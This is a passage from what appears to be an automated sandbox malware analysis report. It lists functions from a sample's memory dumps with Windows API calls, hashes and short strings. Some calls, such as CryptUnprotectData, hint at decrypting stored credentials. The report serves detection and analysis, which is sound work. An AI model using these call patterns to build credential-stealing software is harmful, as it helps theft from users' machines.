                                    • Instruction Fuzzy Hash: 1AB22DF3A08204AFE3046E2DEC8567AFBE9EFD4720F1A863DE9C4C7744E53558058696
                                    Function 012759B6 Relevance: 6.6, Strings: 4, Instructions: 1578COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 'Iv=$Y$r7$__u$h?7
                                    • API String ID: 0-949193570
                                    • Opcode ID: fd75c9184ef9b7aeed74b808c5526722e4f10387cf604ac402adac29786c1650
                                    • Instruction ID: f3420fc6f660256d9f453bd25edf2e4c887d6f98fde64623d876346244a99ad9
                                    • Opcode Fuzzy Hash: fd75c9184ef9b7aeed74b808c5526722e4f10387cf604ac402adac29786c1650
                                    • Instruction Fuzzy Hash: 14B219F360C204AFE304AE2DEC8577ABBE5EF94720F16853DEAC4C7744EA3558058696
                                    Function 00E29030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CryptBinaryToStringA.CRYPT32(00000000,00E151D4,40000001,00000000,00000000,?,00E151D4), ref: 00E29050
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: BinaryCryptString
                                    • String ID:
                                    • API String ID: 80407269-0
                                    • Opcode ID: 12d417d9d380e42ec7eb29f19870a55ec69dabd26837430756c95f39ddbf4342
                                    • Instruction ID: 4e12da06ed6f6ae00da0737d9f323ac4971e7ded31a79a8eb4eb85d9172e794c
                                    • Opcode Fuzzy Hash: 12d417d9d380e42ec7eb29f19870a55ec69dabd26837430756c95f39ddbf4342
                                    • Instruction Fuzzy Hash: 75110674200218FFDF04CF55E894FAA37A9AF89714F10A448FA1A9B245D776E9418BA0
                                    Function 00E27BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0099F1E8,00000000,?,00E30DF8,00000000,?,00000000,00000000), ref: 00E27BF3
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E27BFA
                                    • GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0099F1E8,00000000,?,00E30DF8,00000000,?,00000000,00000000,?), ref: 00E27C0D
                                    • wsprintfA.USER32 ref: 00E27C47
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateInformationProcessTimeZonewsprintf
                                    • String ID:
                                    • API String ID: 3317088062-0
                                    • Opcode ID: fd9f0dcfcfc3b1bbe0e9119fbaa4b2e5cc8ba12fc16df7372f5a5fa3f6ad4c66
                                    • Instruction ID: ff5f920f7722236b224e8fe9c8e1f2d8d63be4ef918269f0035abae958d89148
                                    • Opcode Fuzzy Hash: fd9f0dcfcfc3b1bbe0e9119fbaa4b2e5cc8ba12fc16df7372f5a5fa3f6ad4c66
                                    • Instruction Fuzzy Hash: 6511A571E05228DBE720CB55DC45FA9BBB8F744711F1003D9F619A72C0D77419408B90
                                    Function 00E23970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CoCreateInstance.COMBASE(00E2E120,00000000,00000001,00E2E110,00000000), ref: 00E239A8
                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00E23A00
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharCreateInstanceMultiWide
                                    • String ID:
                                    • API String ID: 123533781-0
                                    • Opcode ID: 9177645593a83dcd28f346e237a34f01b87c7553429798da466614dd951fe514
                                    • Instruction ID: 70b5675e87466c7b401c8ce80693e3b6bb010f48e62ca4b03fa24c626768c587
                                    • Opcode Fuzzy Hash: 9177645593a83dcd28f346e237a34f01b87c7553429798da466614dd951fe514
                                    • Instruction Fuzzy Hash: 5641F870A00A289FDB24DB58DC95F9BB7B5BB48702F4051D8E608EB2D0D7B1AE85CF50
                                    Function 00E1A2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E1A2D4
                                    • LocalAlloc.KERNEL32(00000040,00000000), ref: 00E1A2F3
                                    • LocalFree.KERNEL32(?), ref: 00E1A323
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Local$AllocCryptDataFreeUnprotect
                                    • String ID:
                                    • API String ID: 2068576380-0
                                    • Opcode ID: 3f6e983018796fd0ec435a93c40390eb83a006dc3d3ac18ee84efa887b21cd51
                                    • Instruction ID: eeee748977fc84ac36b2f4d5356a36099d80042b5a445e10b0f21d4807cedeb0
                                    • Opcode Fuzzy Hash: 3f6e983018796fd0ec435a93c40390eb83a006dc3d3ac18ee84efa887b21cd51
                                    • Instruction Fuzzy Hash: 7A11E8B8A00209DFCB04DFA5D985AAEB7B5FB88700F104559ED15AB350D730AE50CBA1
                                    Function 0126167B Relevance: 4.1, Strings: 2, Instructions: 1629COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ;?|o$y,/
                                    • API String ID: 0-1327669435
                                    • Opcode ID: dbb07e0aa50b34bbbeeb40f148141dd73152b73fa73b82c1a0ad07173ca6c6df
                                    • Instruction ID: 880702bc7de6963294fe3a00b9c60f31a008534593216657202b1e7e0d9e45bd
                                    • Opcode Fuzzy Hash: dbb07e0aa50b34bbbeeb40f148141dd73152b73fa73b82c1a0ad07173ca6c6df
                                    • Instruction Fuzzy Hash: A7B2F8F3608204AFE704AE2DEC8577AB7E9EFD4720F1A893DE6C4C3744E63558058696
                                    Function 00E84BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: ?$__ZN
                                    • API String ID: 0-1427190319
                                    • Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
                                    • Instruction ID: ffa33492599a692c747ae1285b144cc7f8aacd9651c35b5594e3ab7ed69a86da
                                    • Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
                                    • Instruction Fuzzy Hash: E27234B3908B118BD714DF14C88066ABBE2FFC5310F599A1EF4AD6B291DB70DC419B82
                                    Function 012682FF Relevance: 2.8, Strings: 1, Instructions: 1596COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 7to
                                    • API String ID: 0-1754764486
                                    • Opcode ID: dfa3c48b895ea80d72b2a6a21638890109224daea34e2a7dd41329976d0c2a19
                                    • Instruction ID: d0844ba6f7bb362f42c0e96eae004b8bc7c3771e32d21e6039a80910b598dd33
                                    • Opcode Fuzzy Hash: dfa3c48b895ea80d72b2a6a21638890109224daea34e2a7dd41329976d0c2a19
                                    • Instruction Fuzzy Hash: 82B216F3A0C3049FE3046E2DEC8567ABBE5EB94320F1A493DEAC5D3744EA3558058796
                                    Function 012486AF Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: #E|$L5}
                                    • API String ID: 0-898388160
                                    • Opcode ID: 6663dbe8fb871210c067cb5f4521f1d34142478776d84d02c35990248d143325
                                    • Instruction ID: 44dd020a46f2cfd8f774f052f080a45cc96a80573f57d4c2c453cf00185b1d65
                                    • Opcode Fuzzy Hash: 6663dbe8fb871210c067cb5f4521f1d34142478776d84d02c35990248d143325
                                    • Instruction Fuzzy Hash: D25127F3A186048FE304AE38DC85776B7D6EB94720F1B453CDAD8D7780E939A9048786
                                    Function 0123C569 Relevance: 2.7, Strings: 2, Instructions: 158COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 7Q_$JQ_
                                    • API String ID: 0-1449024718
                                    • Opcode ID: e79bbbcff806a50bd42deba5f7fa78dce94736a704917a9f0442894b8f849548
                                    • Instruction ID: 7c222029f16bca8f07a63bd617398747794d6cd0a1abb2cd8fd69ce19d2ae939
                                    • Opcode Fuzzy Hash: e79bbbcff806a50bd42deba5f7fa78dce94736a704917a9f0442894b8f849548
                                    • Instruction Fuzzy Hash: CD414BF3E092109BF3049D29EC857BBB796DBD4320F1B453DD7C487784D93958058296
                                    Function 00E65DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: xn--
                                    • API String ID: 0-2826155999
                                    • Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
                                    • Instruction ID: 309257308875b171eda0e5f90f139482ab6db9d10abd086417f0b14587dd48f3
                                    • Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
